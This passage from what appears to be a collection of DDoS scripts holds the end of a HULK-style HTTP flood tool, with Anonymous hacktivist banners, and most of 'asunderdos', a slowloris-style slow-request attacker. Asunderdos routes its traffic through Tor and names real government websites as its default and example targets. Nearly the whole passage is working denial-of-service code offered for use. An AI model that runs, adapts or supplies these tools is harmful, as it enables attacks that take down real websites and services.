##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 196 | ##!!!!!!!!!!!!!!!!!!!!####!!!!!!!!!!!!!!!!!!!!## 197 | ##!!!!!!!!!!!!!!!###############!!!!!!!!!!!!!!## 198 | ##!!!!!!!!!!!!####!!!!!!!!!!!#####!!!!!!!!!!!## 199 | ###!!!!!!!!!###!!!!!!!!!!!!!!!!!!##!!!!!!!!!!## 200 | ##!!!!!!!!!#!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!!## 201 | ###!!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!## 202 | ###!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!## 203 | ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 204 | ###!!!!!!!!!!!!!!!!!!!!!HAHA!!WEAREHERE## 205 | ###!!!!!!!!!!!!!!Anonymous!Team## 206 | ####!!!!!!!!!!!!!SadAttacK### 207 | ####!!!!!!!!!!!!!!!!!### 208 | ################# 209 | _________________________________________________________________ 210 | 211 | ################## Smoking loud I'm a lonely cloud 212 | #SadBoys 2001 # I'm a lonely cloud, with my windows down 213 | #Yoshi city # I'm a lonely, lonely, I'm a lonely, lonely 214 | #Akira botnet # I'm a lonely, lonely, I'm a lonely, lonely 215 | #Add Sites # I'm a lonely, lonely, I'm a lonely, lonely 216 | ################## I'm a lonely, lonely, I'm a lonely, lonely 217 | 218 | Music : https://www.youtube.com/watch?v=iX1a3JngmpI 219 | _________________________________________________________________ 220 | """ 221 | 222 | 223 | #http request 224 | def httpcall(url): 225 | useragent_list() 226 | referer_list() 227 | code=0 228 | if url.count("?")>0: 229 | param_joiner="&" 230 | else: 231 | param_joiner="?" 232 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 233 | request.add_header('User-Agent', random.choice(headers_useragents)) 234 | request.add_header('Cache-Control', 'no-cache') 235 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 236 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100))) 237 | request.add_header('Keep-Alive', random.randint(110,160)) 238 | request.add_header('Connection', 'keep-alive') 239 | request.add_header('Host',host) 240 | try: 241 | urllib2.urlopen(request) 242 | except urllib2.HTTPError, e: 243 | #print e.code 244 | set_flag(1) 245 | print ' ' 246 | print '#~~~~~~~> We Are Anonymous <~~~~~~~~#~~~>We Come For Opicarus<~~#' 247 | print '#~~~~~~> Killuminati <~~~~~#~~~~~~~~~>Hello Banks<~~~~~~~~#' 248 | print '#~~~~~~> Freedom <~~~~~~~#~~~~>You R Our Target<~~~~#' 249 | print '#~~~> WATCH THIS <~~~#~~~>DDOS<~~~#' 250 | print ' ' 251 | code=500 252 | except urllib2.URLError, e: 253 | #print e.reason 254 | sys.exit() 255 | else: 256 | inc_counter() 257 | urllib2.urlopen(request) 258 | return(code) 259 | 260 | 261 | #http caller thread 262 | class HTTPThread(threading.Thread): 263 | def run(self): 264 | try: 265 | while flag<2: 266 | code=httpcall(url) 267 | if (code==500) & (safe==1): 268 | set_flag(2) 269 | except Exception, ex: 270 | pass 271 | 272 | # monitors http threads and counts requests 273 | class MonitorThread(threading.Thread): 274 | def run(self): 275 | previous=request_counter 276 | while flag==0: 277 | if (previous+150request_counter): 278 | print "#~~~>ATTACK THE INTERNET: %d Sending more<~~~#" % (request_counter) 279 | previous=request_counter 280 | if flag==2: 281 | print "\n ~>Stopping the mass DDoS Attack<~" 282 | 283 | #execute 284 | if len(sys.argv) < 2: 285 | usage() 286 | sys.exit() 287 | else: 288 | if sys.argv[1]=="help": 289 | usage() 290 | sys.exit() 291 | else: 292 | print "Starting the Sadness in webserver Sad DDoS Tool" 293 | print "Created By Anonymous" 294 | print "Moddified By Akira" 295 | if len(sys.argv)== 3: 296 | if sys.argv[2]=="safe": 297 | set_safe() 298 | url = sys.argv[1] 299 | if url.count("/")==2: 300 | url = url + "/" 301 | m = re.search('http\://([^/]*)/?.*', url) 302 | host = m.group(1) 303 | for i in range(700): 304 | t = HTTPThread() 305 | t.start() 306 | t = MonitorThread() 307 | t.start() 308 | 309 | ####################################-> 310 | #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau 311 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D: 312 | #5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :( 313 | #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau 314 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->uRDead 315 | ####################################->ANONYMOUS 316 | -------------------------------------------------------------------------------- /DDOS-Scripts/asundos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #asunderdos.py(Slow GET request resource Hog with ideas from slowloris/slow-read/sockstress/torshammer) 3 | #Normal Execution: ./asunderdos.py -T -t www.site.com -p 80 [-p=port -t=target -r threads(256 default) -T=tor] 4 | import os 5 | import re 6 | import time 7 | import sys 8 | import random 9 | import math 10 | import getopt 11 | import socks 12 | import string 13 | import terminal 14 | 15 | from threading import Thread 16 | 17 | global stop_now 18 | global term 19 | 20 | stop_now = False 21 | term = terminal.TerminalController() 22 | referers = [ 23 | "http://www.google.com/?q=" 24 | "http://www.usatoday.com/search/results?q=" 25 | "http://engadget.search.aol.com/search?q=" 26 | "http://www.bing.com/search?q=" 27 | "http://search.yahoo.com/search?p=" 28 | "http://www.ask.com/web?q=" 29 | "http://search.lycos.com/web/?q=" 30 | ] 31 | 32 | useragents = [ 33 | "Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 34 | "Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 35 | "Mozilla/5.0 (Linux; U; Android 4.2.2; my-mm; GT-M6a Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 36 | "Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00F Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36", 37 | "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; I9192 Build/MocorDroid2.3.5) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 38 | "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5100 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36", 39 | "Mozilla/5.0 (Linux; Android 4.3; SM-G7102 Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.136 Mobile Safari/537.36", 40 | "Mozilla/5.0 (Linux; Android 4.2.2; Galaxy S4 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 41 | "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SM-N900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36", 42 | "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-45) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.117 Mobile", 43 | "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-30.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile", 44 | "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; Lenovo A369i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 45 | "Mozilla/5.0 (Linux; Android 4.3; D2305 Build/18.0.A.1.30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 46 | "Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; LG-D802 Build/KOT49I.D80220c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36", 47 | "Mozilla/5.0 (Linux; U; Android 4.2.2; vi-vn; mobiistar touch BEAN 402c Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 48 | "Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; XT1080 Build/SU4.21) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16", 49 | "Mozilla/5.0 (Linux; U; Android 4.3; en-ca; HUAWEI G6-L11 Build/HuaweiG6-L11) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 50 | "Mozilla/5.0 (Linux; Android 4.1.2; LG-F160L Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 51 | "Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; SonyC1505 Build/11.3.A.2.23) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 52 | "Mozilla/5.0 (Linux; U; Android 4.2.2; th-th; HUAWEI Y511-U30 Build/HUAWEIY511-U30) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 53 | "Mozilla/5.0 (Series40; Nokia2700c/09.98; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/5.5.0.0.27", 54 | "Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4", 55 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36", 56 | "Mozilla/5.0 (X11; Linux i686; rv:6.0.2) (Q7sip7ZS4Ba8FkDSOvRNleYM4KEG59V8+uT/RC1tW0U=) Gecko/20100101 Firefox/6.0.2", 57 | "Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 925; ANZ892) like Gecko", 58 | "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 925; ANZ892) like Gecko", 59 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 60 | "Mozilla/5.0 (Windows NT 6.1; WOW64; ; CJPMS_AAPCA4157828C9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 61 | "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 62 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.14 Safari/537.17", 63 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36", 64 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 FirePHP/0.7.4", 65 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", 66 | "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 67 | "Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/38.0.2125.59 Mobile/12A365 Safari/600.1.4", 68 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.99 Safari/537.22", 69 | "Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4", 70 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.7 Safari/537.36", 71 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 OPR/25.0.1614.50", 72 | "Mozilla/5.0 (X11; CrOS x86_64 6158.64.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.108 Safari/537.36", 73 | "Guzzle/4.2.3 curl/7.35.0 PHP/5.5.9-1ubuntu4.4", 74 | "curl/7.30.0", 75 | "Mozilla/5.0 (Linux ia32) node.js/0.10.32 v8/3.14.5.9", 76 | "Mozilla/5.0 (compatible; Googlebot/4.1; en-US rv:9.3.7) Firefox/32.5", 77 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7)", 78 | "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3", 79 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us)", 80 | "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1", 81 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1)", 82 | "Gecko/20100101 Firefox/5.0.1", 83 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) ", 84 | "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 85 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en)", 86 | "Presto/2.9.168 Version/11.50", 87 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)", 88 | "Baiduspider+(+http://www.baidu.com/search/spider.htm)", 89 | "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", 90 | "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", 91 | "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/)", 92 | "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", 93 | "zspider/0.9-dev http://feedback.redkolibri.com/", 94 | "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 95 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 96 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)", 97 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 98 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)", 99 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)", 100 | "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )", 101 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)", 102 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)", 103 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)", 104 | "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)", 105 | "TheSuBot/0.2 (www.thesubot.de)", 106 | "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", 107 | "Mozilla/4.0 (compatible: FDSE robot)", 108 | "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)", 109 | "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)", 110 | "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)", 111 | "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)", 112 | "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)", 113 | "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable)", 114 | "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable)", 115 | "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)", 116 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2)", 117 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2)", 118 | "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2)", 119 | "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)", 120 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3)", 121 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 122 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 123 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 124 | "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)", 125 | "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)", 126 | "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)", 127 | "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)", 128 | "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)", 129 | "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)", 130 | "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)", 131 | "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0)", 132 | "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)", 133 | "msnbot/1.0 (+http://search.msn.com/msnbot.htm)", 134 | "msnbot/0.9 (+http://search.msn.com/msnbot.htm)", 135 | "msnbot/0.11 ( http://search.msn.com/msnbot.htm)", 136 | "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)", 137 | "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)", 138 | "NetResearchServer/4.0(loopimprovements.com/robot.html)", 139 | "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", 140 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)", 141 | "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)", 142 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", 143 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", 144 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET) ", 145 | "Googlebot/2.1 (http://www.googlebot.com/bot.html)", 146 | "Opera/9.20 (Windows NT 6.0; U; en)", 147 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", 148 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", 149 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", 150 | "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", 151 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)", 152 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16)", 153 | "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", 154 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13)", 155 | "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", 156 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", 157 | "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", 158 | "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", 159 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0)", 160 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", 161 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8)", 162 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", 163 | "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", 164 | "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", 165 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", 166 | "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51)", 167 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6", 168 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)", 169 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" 170 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) " 171 | "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3", 172 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) " 173 | "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1", 174 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) " 175 | "Gecko/20100101 Firefox/5.0.1", 176 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) " 177 | "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 178 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) " 179 | "Presto/2.9.168 Version/11.50", 180 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)" 181 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", 182 | "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", 183 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13", 184 | "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", 185 | "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)", 186 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", 187 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", 188 | "Mozilla/5.7.4 (Fedora015; U; AMD_PhenX6 Linux Kernal 2.6.35.2; en-UK) DevKit/534.7 (Gecko) Chrome/7.0.517.44 GoogleR/9.47.1[BlackPanda]", 189 | ] 190 | #builds random ascii string(Imported this shit from Hulk.py:) 191 | def buildblock(self, size): 192 | out_str = '' 193 | 194 | _LOWERCASE = range(97, 122) 195 | _UPPERCASE = range(65, 90) 196 | _NUMERIC = range(48, 57) 197 | 198 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC 199 | 200 | for i in range(0, size): 201 | a = random.choice(validChars) 202 | out_str += chr(a) 203 | 204 | return out_str 205 | 206 | class httpPost(Thread): 207 | def __init__(self, host, port, tor): 208 | Thread.__init__(self) 209 | self.host = host 210 | self.port = port 211 | self.socks = socks.socksocket() 212 | self.tor = tor 213 | self.running = True 214 | 215 | def _send_http_get(self, pause = random.randrange(1, 10)): 216 | global stop_now 217 | self.socks.send("GET / HTTP/1.1\r\n" 218 | "Host: %s\r\n" 219 | "User-Agent: %s\r\n" 220 | "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" 221 | "Accept: image/png,*/*;q=0.5\r\n" 222 | "Cache-Control: no-cache, max-age=0\r\n" 223 | "Connection: keep-alive\r\n" 224 | "Keep-Alive: 120\r\n" 225 | "Content-Length: 42\r\n\r\n" % 226 | #"Content-Type: application/x-www-form-urlencoded\r\n\r\n" % 227 | (self.host, random.choice(useragents))) 228 | 229 | 230 | for i in range(0, 9999): 231 | if stop_now: 232 | self.running = False 233 | break 234 | p = random.choice(string.letters+string.digits) 235 | data = ['\x00','\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'] 236 | packet = random.choice(data) 237 | magic = random.choice(packet+p) 238 | print term.BOL+term.UP+term.CLEAR_EOL+"SENDING PACKETS!: %s" % magic+term.NORMAL 239 | self.socks.send(magic) 240 | time.sleep(random.uniform(0.1, 3)) 241 | 242 | self.socks.close() 243 | 244 | def run(self): 245 | while self.running: 246 | while self.running: 247 | try: 248 | if self.tor: 249 | self.socks = socks.socksocket() 250 | self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) 251 | self.socks.connect((self.host, self.port)) 252 | print term.BOL+term.UP+term.CLEAR_EOL+"Stressing target!!"+ term.NORMAL 253 | break 254 | except Exception, e: 255 | if e.args[0] == 106 or e.args[0] == 60: 256 | break 257 | print term.BOL+term.UP+term.CLEAR_EOL+"Failed - Make sure you removed http://"+ term.NORMAL 258 | time.sleep(1) 259 | continue 260 | 261 | while self.running: 262 | try: 263 | self._send_http_get() 264 | except Exception, e: 265 | if e.args[0] == 32 or e.args[0] == 104: 266 | print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL 267 | self.socks = socks.socksocket() 268 | break 269 | time.sleep(1) 270 | pass 271 | 272 | def usage(): 273 | print "./asunderdos.py -t [-r -p -T -h]" 274 | print "---Asund3r---" 275 | print " Make sure you don't execute with http:// in your url" 276 | print " -t|--target " 277 | print " -r|--threads Defaults to 65000" 278 | print " -p|--port Defaults to 80" 279 | print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050" 280 | print " -h|--help Shows this help\n" 281 | print "Eg. ./asundos.py -t www.justice.govt.nz -r 65000\n" 282 | 283 | def main(argv): 284 | 285 | try: 286 | opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="]) 287 | except getopt.GetoptError: 288 | usage() 289 | sys.exit(-1) 290 | 291 | global stop_now 292 | 293 | target = 'www.pbso.org' 294 | threads = 65000 295 | tor = False 296 | port = 80 297 | 298 | for o, a in opts: 299 | if o in ("-h", "--help"): 300 | usage() 301 | sys.exit(0) 302 | if o in ("-T", "--tor"): 303 | tor = True 304 | elif o in ("-t", "--target"): 305 | target = a 306 | elif o in ("-r", "--threads"): 307 | threads = int(a) 308 | elif o in ("-p", "--port"): 309 | port = int(a) 310 | 311 | if target == '' or int(threads) <= 0: 312 | usage() 313 | sys.exit(-1) 314 | 315 | print term.DOWN + term.RED + "/*" + term.NORMAL 316 | print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL 317 | print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL 318 | print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL 319 | print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL 320 | 321 | rthreads = [] 322 